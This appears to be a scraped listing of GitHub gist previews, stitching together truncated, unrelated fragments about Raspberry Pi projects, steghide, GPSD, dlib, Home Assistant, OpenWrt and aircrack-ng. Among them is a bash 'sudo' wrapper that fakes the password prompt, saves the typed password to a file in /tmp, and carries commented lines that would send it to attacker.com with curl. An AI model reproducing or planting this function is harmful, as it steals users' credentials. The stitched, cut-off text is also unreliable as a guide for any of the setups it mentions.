Stuart robotsandcake

Minecraft on Raspberry Pi cluster with metrics

Ever wanted to put your Rapsberry Pi cluster to great use? Our team is working remotely, so we started to play Minecraft. I decided I would host the Minecraft server on my Raspberry Pi cluster. This gist will guide you through the steps I took to get a k3s cluster up with k3sup and later installed Minecraft as well as metrics exporter and Prometheus Operator

Why?

Quoniam Possumus - Because we can

You'll need

Raspberry Pi 2/3B/B+/4B Wireless Bridge using Ubuntu Server 18.04 ARM Image and Netplan

The initial goal of this project is to use the raspberry pi in place of my Wireless Range Extender and then going from 3 wireless networks (2.4ghz, 2.4ghz extended, 5ghz) at home to only one (5ghz). This way I'm reducing the exposition to radio waves for the whole familly at home.

Let's go technical

Ok, enough drama for now, let's go technical. 😁

Setup

Compile steghide in macOS X

Check if gettext is installed, if not use Homebrew to get it:

$ brew install gettext

Get the gettext library and cpp flags, and configure with those flags:

$ brew info gettext | grep FLAGS

Log GPSD Outputs and Extract Lat/Lon

$ gpspipe -w             # log to stdout
$ gpspipe -w -o abc.log  # log to a file

To auto-log on startup, insert the following line to the file /etc/rc.local:

How to install dlib v19.9 or newer (w/ python bindings) from github on macOS and Ubuntu

Pre-reqs:

Have Python 3 installed. On macOS, this could be installed from homebrew or even via standard Python 3.6 downloaded installer from https://www.python.org/download. On Linux, just use your package manager.
On macOS:
- Install XCode from the Mac App Store (or install the XCode command line utils).
- Have homebrew installed
On Linux:

	Mute these words in your settings here: https://twitter.com/settings/muted_keywords

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	generic_activity_highlights
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	function sudo ()
	{
	# https://null-byte.com/privesc-0194190/
	realsudo="$(which sudo)";
	read -s -p "[sudo] password for $USER: " inputPasswd;
	printf "\n";
	printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
	# encoded=$(printf '%s' "$inputPasswd" \| base64) > /dev/null 2>&1;
	# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
	$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;

	# prerequisites:
	## install software
	apt install mariadb-server libmariadbclient-dev sqlite3
	## install mysqlclient in virtualenv
	su -c 'homeassistant/bin/pip3 install mysqlclient --upgrade' -l homeassistant
	## create database
	mysql -e 'CREATE SCHEMA IF NOT EXISTS `hass_db` DEFAULT CHARACTER SET utf8'
	## create user (use a safe password please)
	mysql -e "CREATE USER 'hass_user'@'localhost' IDENTIFIED BY 'hass_pw'"
	mysql -e "GRANT ALL PRIVILEGES ON hass_db.* TO 'hass_user'@'localhost'"

	# ====================================================================================
	# Steps for Main Router (must have connected internet on WAN port)
	# ====================================================================================
	# Set your network IP address configuration default is 192.168.1.0/24
	uci set network.lan.ipaddr='192.168.1.1'

	# Recommended, to identify on network and when logged on
	uci set system.@system[0].hostname='MainRouter'
	uci set network.lan.hostname="`uci get system.@system[0].hostname`"

	1 - Install Home Brew.
	/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

	2 - Install aircrack-ng:
	brew install aircrack-ng

	3 - Install the latest Xcode, with the Command Line Tools.
	//Create the following symlink:
	sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport//Figure out which channel you need to sniff: